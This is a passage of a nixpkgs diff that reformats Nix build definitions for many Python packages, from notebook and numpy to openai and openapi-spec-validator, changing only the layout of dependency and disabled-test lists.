   meta = with lib; {
     changelog = "https://github.com/nose-devs/nose2/blob/${version}/docs/changelog.rst";
diff --git a/pkgs/development/python-modules/notebook/default.nix b/pkgs/development/python-modules/notebook/default.nix
index 114fb07b7b51..3ebb90026b41 100644
--- a/pkgs/development/python-modules/notebook/default.nix
+++ b/pkgs/development/python-modules/notebook/default.nix
@@ -42,14 +42,13 @@ buildPythonPackage rec {
       --replace-fail "timeout = 300" ""
   '';
 
-  nativeBuildInputs =
-    [
-      nodejs
-      yarn-berry_3.yarnBerryConfigHook
-    ]
-    ++ lib.optionals (stdenv.hostPlatform.isLinux && stdenv.hostPlatform.isAarch64) [
-      distutils
-    ];
+  nativeBuildInputs = [
+    nodejs
+    yarn-berry_3.yarnBerryConfigHook
+  ]
+  ++ lib.optionals (stdenv.hostPlatform.isLinux && stdenv.hostPlatform.isAarch64) [
+    distutils
+  ];
 
   missingHashes = ./missing-hashes.json;
 
diff --git a/pkgs/development/python-modules/notobuilder/default.nix b/pkgs/development/python-modules/notobuilder/default.nix
index ddcba7fbccd3..f5194fa54958 100644
--- a/pkgs/development/python-modules/notobuilder/default.nix
+++ b/pkgs/development/python-modules/notobuilder/default.nix
@@ -53,7 +53,8 @@ buildPythonPackage {
     diffenator2
     chevron
     sh
-  ] ++ gftools.optional-dependencies.qa;
+  ]
+  ++ gftools.optional-dependencies.qa;
 
   pythonImportsCheck = [
     "notobuilder"
diff --git a/pkgs/development/python-modules/notus-scanner/default.nix b/pkgs/development/python-modules/notus-scanner/default.nix
index 5da6021893c1..f808863bc379 100644
--- a/pkgs/development/python-modules/notus-scanner/default.nix
+++ b/pkgs/development/python-modules/notus-scanner/default.nix
@@ -39,7 +39,8 @@ buildPythonPackage rec {
     psutil
     python-gnupg
     sentry-sdk
-  ] ++ lib.optionals (pythonOlder "3.11") [ tomli ];
+  ]
+  ++ lib.optionals (pythonOlder "3.11") [ tomli ];
 
   nativeCheckInputs = [ pytestCheckHook ];
 
diff --git a/pkgs/development/python-modules/nox/default.nix b/pkgs/development/python-modules/nox/default.nix
index b4d602a8c1fb..91e23202c525 100644
--- a/pkgs/development/python-modules/nox/default.nix
+++ b/pkgs/development/python-modules/nox/default.nix
@@ -36,16 +36,15 @@ buildPythonPackage rec {
 
   build-system = [ hatchling ];
 
-  dependencies =
-    [
-      argcomplete
-      colorlog
-      packaging
-      virtualenv
-    ]
-    ++ lib.optionals (pythonOlder "3.11") [
-      tomli
-    ];
+  dependencies = [
+    argcomplete
+    colorlog
+    packaging
+    virtualenv
+  ]
+  ++ lib.optionals (pythonOlder "3.11") [
+    tomli
+  ];
 
   optional-dependencies = {
     tox_to_nox = [
diff --git a/pkgs/development/python-modules/nsz/default.nix b/pkgs/development/python-modules/nsz/default.nix
index 9f1a3089fc60..2e693983ad1d 100644
--- a/pkgs/development/python-modules/nsz/default.nix
+++ b/pkgs/development/python-modules/nsz/default.nix
@@ -28,7 +28,8 @@ buildPythonPackage rec {
     pycryptodome
     enlighten
     zstandard
-  ] ++ lib.optional withGUI kivy;
+  ]
+  ++ lib.optional withGUI kivy;
 
   # do not check, as nsz requires producation keys
   # dumped from a Nintendo Switch.
diff --git a/pkgs/development/python-modules/numcodecs/default.nix b/pkgs/development/python-modules/numcodecs/default.nix
index e97d766d732c..4cb141e8fb34 100644
--- a/pkgs/development/python-modules/numcodecs/default.nix
+++ b/pkgs/development/python-modules/numcodecs/default.nix
@@ -61,7 +61,8 @@ buildPythonPackage rec {
   nativeCheckInputs = [
     pytestCheckHook
     importlib-metadata
-  ] ++ lib.flatten (lib.attrValues optional-dependencies);
+  ]
+  ++ lib.flatten (lib.attrValues optional-dependencies);
 
   # https://github.com/NixOS/nixpkgs/issues/255262
   preCheck = "pushd $out";
diff --git a/pkgs/development/python-modules/numpy/1.nix b/pkgs/development/python-modules/numpy/1.nix
index 5d7216286564..4cd993e9ba15 100644
--- a/pkgs/development/python-modules/numpy/1.nix
+++ b/pkgs/development/python-modules/numpy/1.nix
@@ -69,17 +69,16 @@ buildPythonPackage rec {
     hash = "sha256-KgKrqe0S5KxOs+qUIcQgMBoMZGDZgw10qd+H76SRIBA=";
   };
 
-  patches =
-    [
-      # Disable `numpy/core/tests/test_umath.py::TestComplexFunctions::test_loss_of_precision[complex256]`
-      # on x86_64-darwin because it fails under Rosetta 2 due to issues with trig functions and
-      # 80-bit long double complex numbers.
-      ./disable-failing-long-double-test-Rosetta-2.patch
-    ]
-    # We patch cpython/distutils to fix https://bugs.python.org/issue1222585
-    # Patching of numpy.distutils is needed to prevent it from undoing the
-    # patch to distutils.
-    ++ lib.optionals python.hasDistutilsCxxPatch [ ./numpy-distutils-C++.patch ];
+  patches = [
+    # Disable `numpy/core/tests/test_umath.py::TestComplexFunctions::test_loss_of_precision[complex256]`
+    # on x86_64-darwin because it fails under Rosetta 2 due to issues with trig functions and
+    # 80-bit long double complex numbers.
+    ./disable-failing-long-double-test-Rosetta-2.patch
+  ]
+  # We patch cpython/distutils to fix https://bugs.python.org/issue1222585
+  # Patching of numpy.distutils is needed to prevent it from undoing the
+  # patch to distutils.
+  ++ lib.optionals python.hasDistutilsCxxPatch [ ./numpy-distutils-C++.patch ];
 
   postPatch = ''
     # fails with multiple errors because we are not using the pinned setuptools version
@@ -98,15 +97,14 @@ buildPythonPackage rec {
       --replace-fail "meson-python>=0.15.0,<0.16.0" "meson-python"
   '';
 
-  nativeBuildInputs =
-    [
-      cython
-      gfortran
-      meson-python
-      pkg-config
-    ]
-    ++ lib.optionals (stdenv.hostPlatform.isDarwin) [ xcbuild.xcrun ]
-    ++ lib.optionals (!stdenv.buildPlatform.canExecute stdenv.hostPlatform) [ mesonEmulatorHook ];
+  nativeBuildInputs = [
+    cython
+    gfortran
+    meson-python
+    pkg-config
+  ]
+  ++ lib.optionals (stdenv.hostPlatform.isDarwin) [ xcbuild.xcrun ]
+  ++ lib.optionals (!stdenv.buildPlatform.canExecute stdenv.hostPlatform) [ mesonEmulatorHook ];
 
   buildInputs = [
     blas
@@ -149,36 +147,35 @@ buildPythonPackage rec {
   ];
 
   # https://github.com/numpy/numpy/issues/24548
-  disabledTests =
-    [
-      # Tries to import numpy.distutils.msvccompiler, removed in setuptools 74.0
-      "test_api_importable"
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isi686 [
-      "test_new_policy" # AssertionError: assert False
-      "test_identityless_reduction_huge_array" # ValueError: Maximum allowed dimension exceeded
-      "test_float_remainder_overflow" # AssertionError: FloatingPointError not raised by divmod
-      "test_int" # AssertionError: selectedintkind(19): expected 16 but got -1
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isAarch32 [
-      "test_impossible_feature_enable" # AssertionError: Failed to generate error
-      "test_features" # AssertionError: Failure Detection
-      "test_new_policy" # AssertionError: assert False
-      "test_identityless_reduction_huge_array" # ValueError: Maximum allowed dimension exceeded
-      "test_unary_spurious_fpexception" # AssertionError: Got warnings: [<warnings.WarningMessage object at 0xd1197430>]
-      "test_int" # AssertionError: selectedintkind(19): expected 16 but got -1
-      "test_real" # AssertionError: selectedrealkind(16): expected 10 but got -1
-      "test_quad_precision" # AssertionError: selectedrealkind(32): expected 16 but got -1
-      "test_big_arrays" # ValueError: array is too big; `arr.size * arr.dtype.itemsize` is larger tha...
-      "test_multinomial_pvals_float32" # Failed: DID NOT RAISE <class 'ValueError'>
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isAarch64 [
-      "test_big_arrays" # OOM on a 16G machine
-    ]
-    ++ lib.optionals (stdenv.hostPlatform.isDarwin && stdenv.hostPlatform.isx86_64) [
-      # can fail on virtualized machines confused over their cpu identity
-      "test_dispatcher"
-    ];
+  disabledTests = [
+    # Tries to import numpy.distutils.msvccompiler, removed in setuptools 74.0
+    "test_api_importable"
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isi686 [
+    "test_new_policy" # AssertionError: assert False
+    "test_identityless_reduction_huge_array" # ValueError: Maximum allowed dimension exceeded
+    "test_float_remainder_overflow" # AssertionError: FloatingPointError not raised by divmod
+    "test_int" # AssertionError: selectedintkind(19): expected 16 but got -1
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isAarch32 [
+    "test_impossible_feature_enable" # AssertionError: Failed to generate error
+    "test_features" # AssertionError: Failure Detection
+    "test_new_policy" # AssertionError: assert False
+    "test_identityless_reduction_huge_array" # ValueError: Maximum allowed dimension exceeded
+    "test_unary_spurious_fpexception" # AssertionError: Got warnings: [<warnings.WarningMessage object at 0xd1197430>]
+    "test_int" # AssertionError: selectedintkind(19): expected 16 but got -1
+    "test_real" # AssertionError: selectedrealkind(16): expected 10 but got -1
+    "test_quad_precision" # AssertionError: selectedrealkind(32): expected 16 but got -1
+    "test_big_arrays" # ValueError: array is too big; `arr.size * arr.dtype.itemsize` is larger tha...
+    "test_multinomial_pvals_float32" # Failed: DID NOT RAISE <class 'ValueError'>
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isAarch64 [
+    "test_big_arrays" # OOM on a 16G machine
+  ]
+  ++ lib.optionals (stdenv.hostPlatform.isDarwin && stdenv.hostPlatform.isx86_64) [
+    # can fail on virtualized machines confused over their cpu identity
+    "test_dispatcher"
+  ];
 
   passthru = {
     # just for backwards compatibility
diff --git a/pkgs/development/python-modules/numpy/2.nix b/pkgs/development/python-modules/numpy/2.nix
index 4de83e48979d..f7044ed5657a 100644
--- a/pkgs/development/python-modules/numpy/2.nix
+++ b/pkgs/development/python-modules/numpy/2.nix
@@ -83,15 +83,14 @@ buildPythonPackage rec {
       --replace-fail 'py.full_path()' "'python'"
   '';
 
-  build-system =
-    [
-      cython
-      gfortran
-      meson-python
-      pkg-config
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isDarwin [ xcbuild.xcrun ]
-    ++ lib.optionals (!stdenv.buildPlatform.canExecute stdenv.hostPlatform) [ mesonEmulatorHook ];
+  build-system = [
+    cython
+    gfortran
+    meson-python
+    pkg-config
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [ xcbuild.xcrun ]
+  ++ lib.optionals (!stdenv.buildPlatform.canExecute stdenv.hostPlatform) [ mesonEmulatorHook ];
 
   # we default openblas to build with 64 threads
   # if a machine has more than 64 threads, it will segfault
@@ -134,36 +133,35 @@ buildPythonPackage rec {
     "not\\ slow" # fast test suite
   ];
 
-  disabledTests =
-    [
-      # Tries to import numpy.distutils.msvccompiler, removed in setuptools 74.0
-      "test_api_importable"
-    ]
-    ++ lib.optionals (pythonAtLeast "3.13") [
-      # https://github.com/numpy/numpy/issues/26713
-      "test_iter_refcount"
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isAarch32 [
-      # https://github.com/numpy/numpy/issues/24548
-      "test_impossible_feature_enable" # AssertionError: Failed to generate error
-      "test_features" # AssertionError: Failure Detection
-      "test_new_policy" # AssertionError: assert False
-      "test_identityless_reduction_huge_array" # ValueError: Maximum allowed dimension exceeded
-      "test_unary_spurious_fpexception" # AssertionError: Got warnings: [<warnings.WarningMessage object at 0xd1197430>]
-      "test_int" # AssertionError: selectedintkind(19): expected 16 but got -1
-      "test_real" # AssertionError: selectedrealkind(16): expected 10 but got -1
-      "test_quad_precision" # AssertionError: selectedrealkind(32): expected 16 but got -1
-      "test_big_arrays" # ValueError: array is too big; `arr.size * arr.dtype.itemsize` is larger tha...
-      "test_multinomial_pvals_float32" # Failed: DID NOT RAISE <class 'ValueError'>
-    ]
-    ++ lib.optionals (stdenv.hostPlatform.isDarwin && stdenv.hostPlatform.isx86_64) [
-      # AssertionError: (np.int64(0), np.longdouble('9.9999999999999994515e-21'), np.longdouble('3.9696755572509052902e+20'), 'arctanh')
-      "test_loss_of_precision"
-    ]
-    ++ lib.optionals (stdenv.hostPlatform ? gcc.arch) [
-      # remove if https://github.com/numpy/numpy/issues/27460 is resolved
-      "test_validate_transcendentals"
-    ];
+  disabledTests = [
+    # Tries to import numpy.distutils.msvccompiler, removed in setuptools 74.0
+    "test_api_importable"
+  ]
+  ++ lib.optionals (pythonAtLeast "3.13") [
+    # https://github.com/numpy/numpy/issues/26713
+    "test_iter_refcount"
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isAarch32 [
+    # https://github.com/numpy/numpy/issues/24548
+    "test_impossible_feature_enable" # AssertionError: Failed to generate error
+    "test_features" # AssertionError: Failure Detection
+    "test_new_policy" # AssertionError: assert False
+    "test_identityless_reduction_huge_array" # ValueError: Maximum allowed dimension exceeded
+    "test_unary_spurious_fpexception" # AssertionError: Got warnings: [<warnings.WarningMessage object at 0xd1197430>]
+    "test_int" # AssertionError: selectedintkind(19): expected 16 but got -1
+    "test_real" # AssertionError: selectedrealkind(16): expected 10 but got -1
+    "test_quad_precision" # AssertionError: selectedrealkind(32): expected 16 but got -1
+    "test_big_arrays" # ValueError: array is too big; `arr.size * arr.dtype.itemsize` is larger tha...
+    "test_multinomial_pvals_float32" # Failed: DID NOT RAISE <class 'ValueError'>
+  ]
+  ++ lib.optionals (stdenv.hostPlatform.isDarwin && stdenv.hostPlatform.isx86_64) [
+    # AssertionError: (np.int64(0), np.longdouble('9.9999999999999994515e-21'), np.longdouble('3.9696755572509052902e+20'), 'arctanh')
+    "test_loss_of_precision"
+  ]
+  ++ lib.optionals (stdenv.hostPlatform ? gcc.arch) [
+    # remove if https://github.com/numpy/numpy/issues/27460 is resolved
+    "test_validate_transcendentals"
+  ];
 
   passthru = {
     # just for backwards compatibility
diff --git a/pkgs/development/python-modules/numpyro/default.nix b/pkgs/development/python-modules/numpyro/default.nix
index e301301af113..b1d89c726b4f 100644
--- a/pkgs/development/python-modules/numpyro/default.nix
+++ b/pkgs/development/python-modules/numpyro/default.nix
@@ -76,29 +76,28 @@ buildPythonPackage rec {
     "ignore::UserWarning"
   ];
 
-  disabledTests =
-    [
-      # AssertionError, assert GLOBAL["count"] == 4 (assert 5 == 4)
-      "test_mcmc_parallel_chain"
+  disabledTests = [
+    # AssertionError, assert GLOBAL["count"] == 4 (assert 5 == 4)
+    "test_mcmc_parallel_chain"
 
-      # AssertionError due to tolerance issues
-      "test_bijective_transforms"
-      "test_cpu"
-      "test_entropy_categorical"
-      "test_gaussian_model"
+    # AssertionError due to tolerance issues
+    "test_bijective_transforms"
+    "test_cpu"
+    "test_entropy_categorical"
+    "test_gaussian_model"
 
-      # >       with pytest.warns(UserWarning, match="Hessian of log posterior"):
-      # E       Failed: DID NOT WARN. No warnings of type (<class 'UserWarning'>,) were emitted.
-      # E        Emitted warnings: [].
-      "test_laplace_approximation_warning"
+    # >       with pytest.warns(UserWarning, match="Hessian of log posterior"):
+    # E       Failed: DID NOT WARN. No warnings of type (<class 'UserWarning'>,) were emitted.
+    # E        Emitted warnings: [].
+    "test_laplace_approximation_warning"
 
-      # ValueError: compiling computation that requires 2 logical devices, but only 1 XLA devices are available (num_replicas=2)
-      "test_chain"
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isDarwin [
-      # AssertionError: Not equal to tolerance rtol=0.06, atol=0
-      "test_functional_map"
-    ];
+    # ValueError: compiling computation that requires 2 logical devices, but only 1 XLA devices are available (num_replicas=2)
+    "test_chain"
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [
+    # AssertionError: Not equal to tolerance rtol=0.06, atol=0
+    "test_functional_map"
+  ];
 
   disabledTestPaths = [
     # Require internet access
diff --git a/pkgs/development/python-modules/nvchecker/default.nix b/pkgs/development/python-modules/nvchecker/default.nix
index 7356b900ff19..fe1461b78801 100644
--- a/pkgs/development/python-modules/nvchecker/default.nix
+++ b/pkgs/development/python-modules/nvchecker/default.nix
@@ -47,7 +47,8 @@ buildPythonPackage rec {
     platformdirs
     tornado
     pycurl
-  ] ++ lib.optionals (pythonOlder "3.11") [ tomli ];
+  ]
+  ++ lib.optionals (pythonOlder "3.11") [ tomli ];
 
   __darwinAllowLocalNetworking = true;
 
diff --git a/pkgs/development/python-modules/oauthenticator/default.nix b/pkgs/development/python-modules/oauthenticator/default.nix
index 4a1b92734351..63afaab59a7c 100644
--- a/pkgs/development/python-modules/oauthenticator/default.nix
+++ b/pkgs/development/python-modules/oauthenticator/default.nix
@@ -57,7 +57,8 @@ buildPythonPackage rec {
     pytest-cov-stub
     pytestCheckHook
     requests-mock
-  ] ++ lib.flatten (builtins.attrValues optional-dependencies);
+  ]
+  ++ lib.flatten (builtins.attrValues optional-dependencies);
 
   disabledTests = [
     # Tests are outdated, https://github.com/jupyterhub/oauthenticator/issues/432
diff --git a/pkgs/development/python-modules/oauthlib/default.nix b/pkgs/development/python-modules/oauthlib/default.nix
index ea504ea4f621..9fd14254fd49 100644
--- a/pkgs/development/python-modules/oauthlib/default.nix
+++ b/pkgs/development/python-modules/oauthlib/default.nix
@@ -46,16 +46,16 @@ buildPythonPackage rec {
   nativeCheckInputs = [
     mock
     pytestCheckHook
-  ] ++ lib.flatten (lib.attrValues optional-dependencies);
+  ]
+  ++ lib.flatten (lib.attrValues optional-dependencies);
 
-  disabledTests =
-    [
-      # https://github.com/oauthlib/oauthlib/issues/877
-      "test_rsa_bad_keys"
-    ]
-    ++ lib.optionals (pythonAtLeast "3.13") [
-      "test_filter_params"
-    ];
+  disabledTests = [
+    # https://github.com/oauthlib/oauthlib/issues/877
+    "test_rsa_bad_keys"
+  ]
+  ++ lib.optionals (pythonAtLeast "3.13") [
+    "test_filter_params"
+  ];
 
   pythonImportsCheck = [ "oauthlib" ];
 
diff --git a/pkgs/development/python-modules/odc-geo/default.nix b/pkgs/development/python-modules/odc-geo/default.nix
index c2d4b7f2b922..50c3cd542465 100644
--- a/pkgs/development/python-modules/odc-geo/default.nix
+++ b/pkgs/development/python-modules/odc-geo/default.nix
@@ -79,7 +79,8 @@ buildPythonPackage rec {
     geopandas
     matplotlib
     pytestCheckHook
-  ] ++ optional-dependencies.all;
+  ]
+  ++ optional-dependencies.all;
 
   pytestFlagsArray = [ "-m 'not network'" ];
 
diff --git a/pkgs/development/python-modules/odc-loader/default.nix b/pkgs/development/python-modules/odc-loader/default.nix
index a970591f199e..e97bb7e87dc6 100644
--- a/pkgs/development/python-modules/odc-loader/default.nix
+++ b/pkgs/development/python-modules/odc-loader/default.nix
@@ -56,7 +56,8 @@ buildPythonPackage rec {
   nativeCheckInputs = [
     geopandas
     pytestCheckHook
-  ] ++ optional-dependencies.all;
+  ]
+  ++ optional-dependencies.all;
 
   disabledTests = [
     # Require internet access
diff --git a/pkgs/development/python-modules/odc-stac/default.nix b/pkgs/development/python-modules/odc-stac/default.nix
index f4b3fa4a1214..11da95336beb 100644
--- a/pkgs/development/python-modules/odc-stac/default.nix
+++ b/pkgs/development/python-modules/odc-stac/default.nix
@@ -66,7 +66,8 @@ buildPythonPackage rec {
     distributed
     pystac-client
     pytestCheckHook
-  ] ++ optional-dependencies.botocore;
+  ]
+  ++ optional-dependencies.botocore;
 
   pytestFlagsArray = [ "-m 'not network'" ];
 
diff --git a/pkgs/development/python-modules/okonomiyaki/default.nix b/pkgs/development/python-modules/okonomiyaki/default.nix
index 3c7ed859e6c4..5f57b9968304 100644
--- a/pkgs/development/python-modules/okonomiyaki/default.nix
+++ b/pkgs/development/python-modules/okonomiyaki/default.nix
@@ -62,17 +62,17 @@ buildPythonPackage rec {
     parameterized
     pytestCheckHook
     testfixtures
-  ] ++ lib.flatten (builtins.attrValues optional-dependencies);
+  ]
+  ++ lib.flatten (builtins.attrValues optional-dependencies);
 
-  preCheck =
-    ''
-      substituteInPlace okonomiyaki/runtimes/tests/test_runtime.py \
-        --replace-fail 'runtime_info = PythonRuntime.from_running_python()' 'raise unittest.SkipTest() #'
-    ''
-    + lib.optionalString stdenv.hostPlatform.isDarwin ''
-      substituteInPlace okonomiyaki/platforms/tests/test_pep425.py \
-        --replace-fail 'self.assertEqual(platform_tag, self.tag.platform)' 'raise unittest.SkipTest()'
-    '';
+  preCheck = ''
+    substituteInPlace okonomiyaki/runtimes/tests/test_runtime.py \
+      --replace-fail 'runtime_info = PythonRuntime.from_running_python()' 'raise unittest.SkipTest() #'
+  ''
+  + lib.optionalString stdenv.hostPlatform.isDarwin ''
+    substituteInPlace okonomiyaki/platforms/tests/test_pep425.py \
+      --replace-fail 'self.assertEqual(platform_tag, self.tag.platform)' 'raise unittest.SkipTest()'
+  '';
 
   pythonImportsCheck = [ "okonomiyaki" ];
 
diff --git a/pkgs/development/python-modules/ome-zarr/default.nix b/pkgs/development/python-modules/ome-zarr/default.nix
index 08d7a6857d4a..d40fa98b7dcf 100644
--- a/pkgs/development/python-modules/ome-zarr/default.nix
+++ b/pkgs/development/python-modules/ome-zarr/default.nix
@@ -49,7 +49,8 @@ buildPythonPackage rec {
     scikit-image
     toolz
     zarr
-  ] ++ fsspec.optional-dependencies.s3;
+  ]
+  ++ fsspec.optional-dependencies.s3;
 
   nativeCheckInputs = [
     pytestCheckHook
diff --git a/pkgs/development/python-modules/omegaconf/default.nix b/pkgs/development/python-modules/omegaconf/default.nix
index 0c9e7ab833fe..b985b62ec2c9 100644
--- a/pkgs/development/python-modules/omegaconf/default.nix
+++ b/pkgs/development/python-modules/omegaconf/default.nix
@@ -70,17 +70,16 @@ buildPythonPackage rec {
     "ignore::DeprecationWarning"
   ];
 
-  disabledTests =
-    [
-      # assert (1560791320562868035 == 1560791320562868035) == False
-      "test_eq"
-    ]
-    ++ lib.optionals (pythonAtLeast "3.13") [
-      # pathlib._local.Path != pathlib.Path type check mismatch
-      "test_errors"
-      "test_to_yaml"
-      "test_type_str"
-    ];
+  disabledTests = [
+    # assert (1560791320562868035 == 1560791320562868035) == False
+    "test_eq"
+  ]
+  ++ lib.optionals (pythonAtLeast "3.13") [
+    # pathlib._local.Path != pathlib.Path type check mismatch
+    "test_errors"
+    "test_to_yaml"
+    "test_type_str"
+  ];
 
   meta = with lib; {
     description = "Framework for configuring complex applications";
diff --git a/pkgs/development/python-modules/onnxruntime/default.nix b/pkgs/development/python-modules/onnxruntime/default.nix
index 1de9d7d92c42..6848b811518f 100644
--- a/pkgs/development/python-modules/onnxruntime/default.nix
+++ b/pkgs/development/python-modules/onnxruntime/default.nix
@@ -45,30 +45,29 @@ buildPythonPackage {
   ];
 
   # Libraries are not linked correctly.
-  buildInputs =
-    [
-      oneDNN
-      re2
-      onnxruntime.protobuf
+  buildInputs = [
+    oneDNN
+    re2
+    onnxruntime.protobuf
 
-      # https://github.com/NixOS/nixpkgs/pull/357656 patches the onnx lib to ${pkgs.onnxruntime}/lib
-      # but these files are copied into this package too. If the original non-python onnxruntime
-      # package is GC-ed, cuda support in this python package will break.
-      # Two options, rebuild onnxruntime twice with the different paths hard-coded, or just hold a runtime
-      # dependency between the two. Option 2, because onnxruntime takes forever to build with cuda support.
-      onnxruntime
+    # https://github.com/NixOS/nixpkgs/pull/357656 patches the onnx lib to ${pkgs.onnxruntime}/lib
+    # but these files are copied into this package too. If the original non-python onnxruntime
+    # package is GC-ed, cuda support in this python package will break.
+    # Two options, rebuild onnxruntime twice with the different paths hard-coded, or just hold a runtime
+    # dependency between the two. Option 2, because onnxruntime takes forever to build with cuda support.
+    onnxruntime
+  ]
+  ++ lib.optionals onnxruntime.passthru.cudaSupport (
+    with onnxruntime.passthru.cudaPackages;
+    [
+      libcublas # libcublasLt.so.XX libcublas.so.XX
+      libcurand # libcurand.so.XX
+      libcufft # libcufft.so.XX
+      cudnn # libcudnn.soXX
+      cuda_cudart # libcudart.so.XX
+      nccl # libnccl.so.XX
     ]
-    ++ lib.optionals onnxruntime.passthru.cudaSupport (
-      with onnxruntime.passthru.cudaPackages;
-      [
-        libcublas # libcublasLt.so.XX libcublas.so.XX
-        libcurand # libcurand.so.XX
-        libcufft # libcufft.so.XX
-        cudnn # libcudnn.soXX
-        cuda_cudart # libcudart.so.XX
-        nccl # libnccl.so.XX
-      ]
-    );
+  );
 
   propagatedBuildInputs = [
     coloredlogs
diff --git a/pkgs/development/python-modules/onvif-zeep-async/default.nix b/pkgs/development/python-modules/onvif-zeep-async/default.nix
index 22fbbbdbd725..a309e51419b3 100644
--- a/pkgs/development/python-modules/onvif-zeep-async/default.nix
+++ b/pkgs/development/python-modules/onvif-zeep-async/default.nix
@@ -31,7 +31,8 @@ buildPythonPackage rec {
     httpx
     yarl
     zeep
-  ] ++ zeep.optional-dependencies.async;
+  ]
+  ++ zeep.optional-dependencies.async;
 
   pythonImportsCheck = [ "onvif" ];
 
diff --git a/pkgs/development/python-modules/open-clip-torch/default.nix b/pkgs/development/python-modules/open-clip-torch/default.nix
index bef5ea802b4b..e35c30030bda 100644
--- a/pkgs/development/python-modules/open-clip-torch/default.nix
+++ b/pkgs/development/python-modules/open-clip-torch/default.nix
@@ -70,23 +70,22 @@ buildPythonPackage rec {
   # KeyError: Caught KeyError in DataLoader worker process 0
   disabledTestPaths = [ "tests/test_wds.py" ];
 
-  disabledTests =
-    [
-      # requires network
-      "test_download_pretrained_from_hfh"
-      "test_inference_simple"
-      "test_inference_with_data"
-      "test_pretrained_text_encoder"
-      "test_training_mt5"
-      # fails due to type errors
-      "test_num_shards"
-    ]
-    ++ lib.optionals (stdenv.hostPlatform.isAarch64 && stdenv.hostPlatform.isLinux) [
-      "test_training"
-      "test_training_coca"
-      "test_training_unfreezing_vit"
-      "test_training_clip_with_jit"
-    ];
+  disabledTests = [
+    # requires network
+    "test_download_pretrained_from_hfh"
+    "test_inference_simple"
+    "test_inference_with_data"
+    "test_pretrained_text_encoder"
+    "test_training_mt5"
+    # fails due to type errors
+    "test_num_shards"
+  ]
+  ++ lib.optionals (stdenv.hostPlatform.isAarch64 && stdenv.hostPlatform.isLinux) [
+    "test_training"
+    "test_training_coca"
+    "test_training_unfreezing_vit"
+    "test_training_clip_with_jit"
+  ];
 
   meta = {
     description = "Open source implementation of CLIP";
diff --git a/pkgs/development/python-modules/openai-whisper/default.nix b/pkgs/development/python-modules/openai-whisper/default.nix
index 958c9250f9f8..e03098935ba3 100644
--- a/pkgs/development/python-modules/openai-whisper/default.nix
+++ b/pkgs/development/python-modules/openai-whisper/default.nix
@@ -53,7 +53,8 @@ buildPythonPackage rec {
     tiktoken
     torch
     tqdm
-  ] ++ lib.optionals (lib.meta.availableOn stdenv.hostPlatform triton) [ triton ];
+  ]
+  ++ lib.optionals (lib.meta.availableOn stdenv.hostPlatform triton) [ triton ];
 
   nativeCheckInputs = [
     pytestCheckHook
@@ -61,19 +62,18 @@ buildPythonPackage rec {
     writableTmpDirAsHomeHook
   ];
 
-  disabledTests =
-    [
-      # requires network access to download models
-      "test_transcribe"
+  disabledTests = [
+    # requires network access to download models
+    "test_transcribe"
 
-      # requires NVIDIA drivers
-      "test_dtw_cuda_equivalence"
-      "test_median_filter_equivalence"
-    ]
-    ++ lib.optionals (stdenv.hostPlatform.isLinux && stdenv.hostPlatform.isAarch64) [
-      # Fatal Python error: Segmentation fault
-      "test_dtw"
-    ];
+    # requires NVIDIA drivers
+    "test_dtw_cuda_equivalence"
+    "test_median_filter_equivalence"
+  ]
+  ++ lib.optionals (stdenv.hostPlatform.isLinux && stdenv.hostPlatform.isAarch64) [
+    # Fatal Python error: Segmentation fault
+    "test_dtw"
+  ];
 
   meta = {
     changelog = "https://github.com/openai/whisper/blob/v${version}/CHANGELOG.md";
diff --git a/pkgs/development/python-modules/openai/default.nix b/pkgs/development/python-modules/openai/default.nix
index 6f8de04bb49b..57845ec6e0ef 100644
--- a/pkgs/development/python-modules/openai/default.nix
+++ b/pkgs/development/python-modules/openai/default.nix
@@ -65,19 +65,18 @@ buildPythonPackage rec {
     hatch-fancy-pypi-readme
   ];
 
-  dependencies =
-    [
-      anyio
-      distro
-      httpx
-      jiter
-      pydantic
-      sniffio
-      tqdm
-      typing-extensions
-    ]
-    ++ lib.optionals withRealtime optional-dependencies.realtime
-    ++ lib.optionals withVoiceHelpers optional-dependencies.voice-helpers;
+  dependencies = [
+    anyio
+    distro
+    httpx
+    jiter
+    pydantic
+    sniffio
+    tqdm
+    typing-extensions
+  ]
+  ++ lib.optionals withRealtime optional-dependencies.realtime
+  ++ lib.optionals withVoiceHelpers optional-dependencies.voice-helpers;
 
   optional-dependencies = {
     datalib = [
@@ -113,16 +112,15 @@ buildPythonPackage rec {
     "--inline-snapshot=update"
   ];
 
-  disabledTests =
-    [
-      # Tests make network requests
-      "test_copy_build_request"
-      "test_basic_attribute_access_works"
-    ]
-    ++ lib.optionals (pythonAtLeast "3.13") [
-      # RuntimeWarning: coroutine method 'aclose' of 'AsyncStream._iter_events' was never awaited
-      "test_multi_byte_character_multiple_chunks"
-    ];
+  disabledTests = [
+    # Tests make network requests
+    "test_copy_build_request"
+    "test_basic_attribute_access_works"
+  ]
+  ++ lib.optionals (pythonAtLeast "3.13") [
+    # RuntimeWarning: coroutine method 'aclose' of 'AsyncStream._iter_events' was never awaited
+    "test_multi_byte_character_multiple_chunks"
+  ];
 
   disabledTestPaths = [
     # Test makes network requests
diff --git a/pkgs/development/python-modules/openapi-core/default.nix b/pkgs/development/python-modules/openapi-core/default.nix
index 49191376d940..639d273bb3df 100644
--- a/pkgs/development/python-modules/openapi-core/default.nix
+++ b/pkgs/development/python-modules/openapi-core/default.nix
@@ -82,7 +82,8 @@ buildPythonPackage rec {
     pytestCheckHook
     responses
     webob
-  ] ++ lib.flatten (lib.attrValues optional-dependencies);
+  ]
+  ++ lib.flatten (lib.attrValues optional-dependencies);
 
   disabledTestPaths = [
     # Requires secrets and additional configuration
diff --git a/pkgs/development/python-modules/openapi-spec-validator/default.nix b/pkgs/development/python-modules/openapi-spec-validator/default.nix
index 0086d6098141..b0d5d116bc24 100644
--- a/pkgs/development/python-modules/openapi-spec-validator/default.nix
+++ b/pkgs/development/python-modules/openapi-spec-validator/default.nix
@@ -44,7 +44,8 @@ buildPythonPackage rec {
     jsonschema-path
